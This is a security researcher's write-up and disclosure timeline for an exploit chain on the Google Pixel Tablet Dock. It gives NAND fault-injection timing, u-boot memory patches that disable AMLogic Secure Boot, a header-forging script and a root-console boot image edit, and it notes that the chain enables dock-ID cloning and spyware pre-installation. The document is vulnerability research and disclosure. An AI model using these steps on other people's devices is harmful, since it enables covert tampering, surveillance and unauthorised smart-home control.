Bypassing the Google Pixel Tablet Dock Secure Boot
Introduction: Implications of These Findings
This piece details the development of a chain of two exploits intended to allow an individual to run a custom OS/unsigned code on the Pixel Tablet Dock and utilize that to perform further security-research on the Pixel Tablet itself. The injection vector, as well as the ability to bypass AMLogic (AML) Secure Boot, seem to affect multiple other Nest devices.
Security researchers Jan Altensen and I developed this chain of vulnerabilities as a shared effort.
The Pixel Tablet is currently for sale for roughly $300 USD, making it a cheap and available option. Additionally, Pixel devices are popularly considered to be some of the most secure devices available. But as always, it is important to note that even with well-secured devices, there are potential vulnerabilities. Utilizing the vulnerabilities discussed in this blog, an attacker could pre-install malware or spyware while the device falsely reports as secure to the user, all the while actively eavesdropping on their communications.
Another concern is that this vulnerability enables cloning of the dock’s ID, which the Pixel Tablet utilizes as a trust mechanism to enable unauthenticated control of one’s smart-home devices. This can be utilized to clone someone’s trusted dock and then use their tablet to control their smart-home components with no credentials necessary.
Some of these vulnerabilities affect multiple Nest devices, such as the Nest/Google Home, Home Mini, and Home Max. In fact, any smart product with an AMLogic chip that utilizes NAND storage is affected. These products include IP cameras, WIFI APs, spree smart TVs, smart speakers, and more.
As mentioned in my previous blog post, hobbyists might find it exciting to install a custom operating system once it becomes available. However, the average end user who doesn’t customize their device extensively should still be concerned with potential pre-installed malware or spyware affecting their device. This is especially true when purchasing from third-party resellers where these products often undergo frequent resale due to flash sales. Many products circulating in these markets have been found to be intentionally pre-infected with malware.
These vulnerabilities exist in Pixel Tablet Docks and will be remediated sometime in late 2024.
Standard Disclaimer: You are solely responsible for any potential damage(s) caused to your device by this exploit.
Background
After the boreal vulnerabilities were submitted and triaged, Google’s VRP team offered to sponsor Jan and I to attend hardwear.io 2023 in The Hauge, Netherlands to attend and participate in the HardPWN competition!
HardPWN is an amazing competition where sponsoring OEMs (Original Equipment Manufacturers) provide devices to hardware researchers who spend the entire week in a caffeine-fueled haze hacking away at them. They also often have developer staff present to help answer researcher questions and triage issues live.
We chose the Pixel Tablet Dock as it seemed very complex for what it ultimately does. We were also very curious about what attack vectors were feasible on it.
Google provided us with several Docks (and their accompanying Pixel Tablets!), kernel/modules/u-boot source code, firmware packages, and access to developers who worked on the development of the Pixel Tablet Dock.
This product is super fun as it was clearly originally built to do so much more. Ultimately, the scope of the project was reduced to the point that all it does is:
- Play music through a speaker over USB Protobuf communicates
- Houses a device-ID that the Pixel Tablet recognizes to put the tablet into “Hub Mode,” which exposes smart home controls without lock-screen authentication (which is fun!)
- Charge the Pixel Tablet
A Familiar (But Notably Different) Injection Vector
Firstly, we need an access venue to u-boot or a similarly privileged injection vector.
UART was easy to identify, and this device utilizes an AML A113D chipset, which uses the standard AML G12 SoC baud rate of 115200.
Unfortunately, Google has hardened both useful access venues UART offered previously:
- u-boot’s
CONFIG_AUTOBOOT_DELAY
is set to -2, which should prevent us from interrupting the boot-sequence to access a u-boot shell over serial (more on that later…) - Android’s console service is not started and we have no privileged venue from which to start it, so we can’t access an Android shell over serial either
The good news is we had been around this block before on boreal, but this was a NAND device, not an eMMC device, so we knew that the injection vector would likely look different.
After some hours of mapping out pins with a logic analyzer, and blindly probing, we discovered by shorting SCK
(effectively interrupting the NAND Clock configuration) at the right time, the device would drop us into the u-boot shell.
Specifically, SCK
should be shorted once for roughly two seconds right after the following message:
scanning usb for storage devices... 0 Storage Device(s) found
scanning bus 0 for devices... 1 USB Device(s) found
We sometimes saw the UART message NEVER BE HERE
come out of BL2. This is both comical and implies that we were shorting the pin too soon (likely due to the mass amounts of caffeine in our systems).
A significant delay follows this message before the boot process proceeds, so the timing is much more reliable than the fault injection method we reported previously on boreal utilizing the D5 eMMC
line. However, unlike boreal, due to differences in how NAND is initialized versus eMMC, the NAND device was not detected and appeared to be in a non-recoverable state after performing this fault injection.
We then worked to find a way to maintain NAND functionality after performing the glitch, ultimately finding that by holding the Chipselect (CS#) to high at the same message shown above, we could reliably get the device to glitch and fall back to u-boot shell while keeping the NAND alive and in a state in which we can interact with it.
A pinout of the board and docking daughterboard can be seen below:
After we got reliable u-boot shell access, we checked if the env partition could be persistently edited, and much like on boreal, it could not, as u-boot appeared to reset it every boot.
We initially thought that the device would be reasonably easy to unlock from here – little did we know what was in store for us.
Oh Wow, There Is No Android Verified Boot
Upon further inspection, the device runs CastOS, which is Google’s SmartThings/IoT OS.
We then looked for the typical markers identifying a device that implements Android Verified Boot but found almost no signs of it. There was no DM or FS Verity and no Android-style boot image verification.
This briefly confused us until we tried to dump the boot image from the NAND into memory utilizing u-boot and got unintelligible, encrypted data with a weirdly formatted header.
AML Secure Boot Versus Android Verified Boot
As it turns out, Google commonly doesn’t utilize AVB on AML-based SmartThings/IoT devices. Rather, they often rely on vendor-provided conventions; in this case, AML Secure Boot.
AVB largely relies on certificate/signature-based chain-of-trust, whereas AML Secure Boot relies far more on encryption/decryption as the integrity check.
Instead of checking if the images are signed, it instead checks if the stored key is capable of decrypting the image. If it is decryptable, it must be valid, as the key utilized to encrypt it is private. If it does not successfully decrypt, it must not be valid.
AML Secure Boot is enforced by the BootROM on BL2, then subsequently by BL2 on BL33 (u-boot), and finally by BL33 on the boot image.
Extracting Unencrypted Firmware Image
At this point, we needed a static copy of BL33 (u-boot), the boot image, and ideally the recovery image, but dumping these from the NAND proved useless as AML secure-boot ensures they are encrypted.
Google provided us a full OTA Image and a Factory Image, but in u-boot.bin
(OTA image), bl2.img
(Factory Image), boot.img
, and recovery.img
are encrypted, as is evident by their AML Secure Boot headers.
We then began blindly dumping memory using md.b 0x50000
. At 0x0
, we immediately recognized a u-boot header. We then dumped the entirety of u-boot using md.b
, saved the serial console capture, stripped it to just contain the md.b
output, and used uboot-mdb-dump to reassemble it on the attached host device.
At this point, we were presented with a conundrum: u-boot would only decrypt the boot/recovery images when the device was typically booted via the bootm
command. But by running bootm
we would execute the kernel and become unable to dump the loaded boot image from memory.
So, we opted to drop the extracted u-boot into IDA Pro and calculate the offsets of the functions that make bootm
actually boot Linux after loading and NOP them out, effectively making bootm
exit and not reset upon failing to boot the kernel.
# Make `bootm` `return 0;` unconditionally right before the Linux kernel would be executed
mw 0x4e2c 1400002a
# Allow us to interrupt the next warm-reset of u-boot
setenv bootdelay 3
# Ensure the bootdelay change takes effect
saveenv
After patching u-boot, we then jump to u-boot’s base address to effectively warm-reset u-boot with our modifications by running:
go 0x0
Then, because we set the bootdelay
variable above, we interrupted boot at u-boot, and ran the following to mock-load the boot and recovery images, then dump them:
imgread kernel recovery 0x01080000
md.b 0x01080000 500
bootm 0x01080000
Awesome, so now we have extracted u-boot
, recovery
, and boot
images.
Creating A Malicious Boot Image
Next, we extracted the unencrypted boot image by utilizing unpack_bootimg.py, extracting the ramdisk, adding a prebuilt armeabi-v7a busybox binary (such as this one), and patching the contained init.rc
file to contain the following service declaration:
service console /sbin/busybox sh
console
user root
We also start console right after the on fs
trigger.
Then we repack the ramdisk and use mkbootimg to repack the boot image utilizing the data spit out earlier by the unpack_bootimg.py
python script.
Now, even with the boot image edited and persistent access to u-boot shell, AML Secure Boot is still enforced… or at least it is for now.
Memory Patching and Forging a Header or Two
So, further static analysis of u-boot in IDA Pro led us to discern how to effectively neuter AML Secure Boot:
# https://nest-open-source.googlesource.com/manifest_repos/u-boot/+/32f2544bf313f8ca4c6026c2ea8bbba41057be35/cmd/bootm.c#176
# replace aml_sec_boot_check with a NOP, will cause "nRet" to be not zero
# ```
# else {
# iVar7 = 0x51;
# }
# if (iVar7 != 0) {
# ```
mw 0x4e28 d503201f
# https://nest-open-source.googlesource.com/manifest_repos/u-boot/+/32f2544bf313f8ca4c6026c2ea8bbba41057be35/cmd/bootm.c#228
# - if (nRet) { while (1); }
# + if (!nRet) { while (1); }
mw 0x4e2c 35000120
# Warm-Reset u-boot again
go 0x0
This disables the necessity to have valid AML Secure Boot headers on our boot image but still expects that they have a “proper looking” header.
To do that, we first wrote a script to recreate all of the AML Secure Boot header, except for one key function:
- The digest, as it is unnecessary after our patches above, and useless for us to generate an invalid one.
#!/bin/bash
# header.sh
append_uint32_le() {
local input=$1
local output=$2
local v=
local vrev=
v=$(printf %08x $input)
# 00010001
vrev=${v:6:2}${v:4:2}${v:2:2}${v:0:2}
echo $vrev | xxd -r -p >> $output
}
pad_file() {
local file=$1
local len=$2
if [ ! -f "$1" ] || [ -z "$2" ]; then
echo "Argument error, \"$1\", \"$2\" "
exit 1
fi
local filesize=$(wc -c < ${file})
local padlen=$(( $len - $filesize ))
if [ $len -lt $filesize ]; then
echo "File larger than expected. $filesize, $len"
exit 1
fi
dd if=/dev/zero of=$file oflag=append conv=notrunc bs=1 \
count=$padlen >& /dev/null
}
echo -n '@AML1'
imagesize=$(stat --printf="%s" boot_test.img)
echo -n '@AML2'
remd=$(( $imagesize % 512 ))
echo -n '@AML3'
input=boot_test.img
if [ $remd -ne 0 ]; then
echo -n '@AML4'
#echo "Input $input not 512 byte aligned?"
topad=$(( 512 - $rem ))
imagesize=$(( $imagesize + $topad ))
cp boot_test.img kernpad.bin
pad_file kernpad.bin $imagesize
input=kernpad.bin
fi
echo -n '@AML5'
openssl dgst -sha256 -binary $input > kern-pl.sha
echo -n '@AML6'
echo -n '@AML' > kern.hdr
append_uint32_le 4 kern.hdr
append_uint32_le 0 kern.hdr
append_uint32_le 0 kern.hdr
# img_size, img_offset, img_hash, reserved
append_uint32_le $imagesize kern.hdr
append_uint32_le 512 kern.hdr
cat kern-pl.sha >> kern.hdr
pad_file kern.hdr 256
#openssl dgst -sha256 -out kern.hdr.sig kern.hdr
#cat kern.hdr.sig >> kern.hdr
pad_file kern.hdr 512
At this point, we are ready to prepend our newly generated AML Secure Boot header and recreate our boot image.
#!/bin/bash
# mk_boot.sh
cat kern.hdr boot_test.img > boot.tmp
imagesize=$(stat --printf="%s" boot.tmp)
paddingsize=$(( 12582912 - $imagesize ))
dd if=/dev/zero ibs=1 count=$paddingsize | LC_ALL=C tr "\000" "\377" >padding_boot.bin
cat bootloader.bin junk.bin tpl.bin fts.bin factory.bin recovery.bin boot.tmp padding_boot.bin system.bin cache.bin > nand_test.bin
Now, we’re ready to actually install this boot image to the device, but how to go about it?
Getting Something Onto the Device
Originally, we tried to execute fastboot from within u-boot, but we couldn’t get reliable communications on either USB0
or USB1
. Given the tight timeline of the competition, we went the nuclear route and desoldered the NAND, dropping it into a NAND flash reader, and then wrote it by hand. Post-competition we ultimately ended up adapting a method similar to what we did on boreal.
We hooked up a powered USB hub to the USB0
bus, with a FAT32
drive attached that had our modified boot image on the filesystem. We then fatload
to pull the modified boot image from the USB into ram (loadaddr
), and then utilized store to write it to the boot partition.
Booting Aforementioned Malicious Boot Image
Once we have the malicious boot image installed and in place, we can then perform the fault injection one final time, and then re-run the AML Secure Boot disable memory edit commands, and re-execute u-boot:
mw 0x4e28 d503201f # Patch AML Secure Boot [1/2]
mw 0x4e2c 35000120 # Patch AML Secure Boot [2/2]
# Allow us to interrupt the next warm-reset of u-boot
setenv bootdelay 3
# Ensure the bootdelay change takes effect
saveenv
# Warm-Reset u-boot again
go 0x0
At this point, the device will fully boot with a root console presented!
Plugging It All Together
Here is a serial capture of the full chain plugged together after writing the modified boot image to the NAND:
TE: 29736
100bdlr_step_size ps== 475
BL31:tsensor calibration: 0xc6000043
detect upgrade key not pressed
FTS read: usb_controller_type ->
mtd_store_read 564 mtd read err, ret -110
Err imgread(L437):Fail to read 0x100000B from part[boot] at offset 0
try upgrade as booting failure
GPIOH_6: not found
PHY2=0xfe004420
noSof
sof timeout, reset usb phy tuning
starting USB...
USB0: GPIOH_6: not found
Register 1000140 NbrPorts 1
Starting the controller
USB XHCI 1.00
scanning bus 0 for devices... 1 USB Device(s) found
scanning usb for storage devices... 0 Storage Device(s) found
korlan_bx# mw 0x30edc d503201f
korlan_bx# go 0x0
## Starting application
detect upgrade key not pressed
FTS read: usb_controller_type ->
mtd_store_read 564 mtd read err, ret -110
Err imgread(L508):Fail to read 0x644a00B from part[boot] at offset 0x100000
try upgrade as booting failure
GPIOH_6: not found
PHY2=0xfe004420
noSof
sof timeout, reset usb phy tuning
starting USB...
USB0: GPIOH_6: not found
Register 1000140 NbrPorts 1
Starting the controller
USB XHCI 1.00
scanning bus 0 for devices... 1 USB Device(s) found
scanning usb for storage devices... 0 Storage Device(s) found
korlan_bx# setenv bootargs console=ttyS0,115200 earlycon=aml-uart,0xfe002000 rootfstype=ramfs init=/init no_console_suspend quiet loglevel=7 ramoops.pstore_en=1 ramoops.record_size=0x8000 ramoops.console_size=0x4000 selinux=1 enforcing=0 nousb nooverlayfs ${bootargs}
korlan_bx# boot
[ 0.000000@0] Booting Linux on physical CPU 0x0000000000 [0x410fd042]
[ 0.000000@0] Linux version 4.19.219-g7ef11940e2f9 (user@host) (Chromium OS 14.0_pre445002_p20220217-r12 clang version 14.0.0 (/var/tmp/portage/sys-devel/llvm-14.0_pre445002_p20220217-r12/work/llvm-14.0_pre445002_p20220217/clang 18308e171b5b1dd99627a4d88c7d6c5ff21b8c96)) #0 SMP PREEMPT Mon Oct 31 15:27:49 2022 (7ef11940)
[ 0.000000@0] Machine model: Google Korlan B4 Board
[ 0.000000@0] earlycon: aml-uart0 at MMIO 0x00000000fe002000 (options '')
[ 0.000000@0] bootconsole [aml-uart0] enabled
[ 0.000000@0] 03d00000 - 04000000, 3072 KB, linux,secos
[ 0.000000@0] 07400000 - 07500000, 1024 KB, ramoops@0x07400000
...
[ 4.441941@1] UBIFS (ubi7:0): media format: w5/r0 (latest is w5/r0), UUID 9BC54E28-D6AE-4B54-94F4-8B2496355FA6, small LPT model
ubi7:cache /cache ubifs rw,nosuid,nodev,noexec,noatime,assert=read-only,ubi=7,vol=0 0 0
/cache is already mounted
Could not get context of /cache/recovery: No data available
SELinux is disabled.
ifconfig: ioctl 8913: No such device
Update boot id is running.
Initializing random number generator...
console#
Take note that we also edited the bootargs
to make the Linux kernel a bit chattier over UART, but you could just as well let the device boot up after running go 0x0
.
At this point, you have full root access to the booted CastOS image!
On boot, you’ll need to perform the fault injection on the CS#
pin and patch the AML Secure Boot checks to continue boot, as AML Secure Boot still hasn’t been persistently bypassed (yet… stay tuned… maybe).
Where To Go from Here? What Can We Do?
At this point, you have tethered local root access to the Pixel Tablet Dock and can change out the CastOS firmware image for another OS, rebuild and modify the kernel, etc.
You can also utilize this chain to clone someone’s dock, and then utilize Hub Mode on their Pixel Tablet to control their smart home devices without authentication.
This device also has two USB buses that can be used for whatever you please. They’re annotated below:
If you want to boot an AML formatted USB boot image with a powered hub connected to USB0
, you can run:
mw 0x4e30 d503201f # Patch USB image checks out
setenv bootdelay 3
saveenv
go 0x0
[Interrupt u-boot via UART]
run recovery_from_udisk
Note: We were unable to get fastboot working over these USB ports. Man, that would have made injection of the boot image easier! Reach out if you’re able to do so!
You can also remove the DM-Verity checks on the system
partition by removing the only entry in dmtable
in the ramdisk
.
It also might be fun to see if anyone could get Fuscia booting on this board! Please reach out to us if you are able to do anything fun with this exploit chain – we’d love to hear about your adventures and chat about Product Security.
Disclosure Timeline
- 02-NOV-2023 – Initial report sent to Google
- 14-DEC-2023 – Additional details disclosed, with full POC
- 24-JAN-2024 – We notified Google that we would be demoing part of this exploit chain at NullCon Berlin 2024 in a talk entitled “Fault Injection and the Supply Chain.”
- 31-JAN-2024 – Google says they’ve “completed a fix for the vulnerability and it’s in the testing phase” and announces that it was rated a “Moderate” vulnerability and was rewarded $500.
- 06-MAR-2024 – We provided a reminder about the NullCon talk and asked for the ticket to be re-reviewed.
- 08-MAR-2024 – Google announces that a CVE identifier will be assigned and that the ticket was split up. Additionally, the following snippet was provided:
- Our team has thoroughly reviewed your report and confirmed that the reported vulnerability utilizes a previously reported exploit. In addition, this vulnerability doesn’t expose high-value assets nor pose a significant risk due to the limitations of a physical attack.
- We have a few issues with this statement:
- We disagree with the nature of the chain of vulnerabilities being designated as a previously reported exploit.This is not eMMC fault injection in u-boot by shorting an eMMC data-line pin as we reported on boreal.
- This is distinct, it is still a type of fault injection but is performed by pulling the Chip-select (CS#) pin to high utilizing the VCC pin at a strategic time, which allows the user to gain u-boot shell.
- We only selected this asset as it was provided as a target for the HardPWN competition. To deem a flagship target of the competition as a non-high-value asset and then rate hardware-based attacks lower is somewhat confusing.
- We are very grateful that Google supported our research of their devices and sponsored us to attend this wonderful conference. We look forward to working on Google devices in the future but do hope that expectations and the rating/criticality matrix are more clearly defined in the future.
- 11-APR-2024 – We ask for a follow-up and receive a response that work is still in progress.
- 16-MAY-2024 – We ask for a follow-up and receive a response that work is still in progress.
- 21-MAY-2024 – We follow up stating that we plan to release the writeup and resources on 30-JUN-2024 as the vulnerability had surpassed the original disclosure timeline. We received a response that the issue is still a work in progress.
- 11-JUN-2024 – We sent a reminder of the upcoming release date and asked for updates regarding the CVE identifiers.
- 12-JUN-2024 – Google states that their remediation timeline has slipped and will now push into Q3.
- 20-JUN-2024 – We share the proposed writeup with Google.
- TBA – The vulnerability patch was deployed via an OTA update delivered through the Pixel Tablet.
CVE Tracking
CVE-2024-TBA – NAND Fault Injection
Credits
- Nolen Johnson (npjohnson), Jan Altensen (Stricted): Theorizing, developing, and chaining together these vulnerabilities into an exploit chain.
Acknowledgments
- Angelina Sosa and the VRP team: The opportunity to work on Google hardware, sponsorship to attend the Hardwear.io conference, and the awesome events at the conference. We greatly appreciate the team and the opportunities they provided us with and look forward to working with them in the future.
- Dennis Giese – Per our agreement, he provided specialized (super awesome) breakout boards, and I am not obliged to refer to him as the “greatest person of all time, ever”.
- tihmstar – Helping us figure out some u-boot memory patching issues.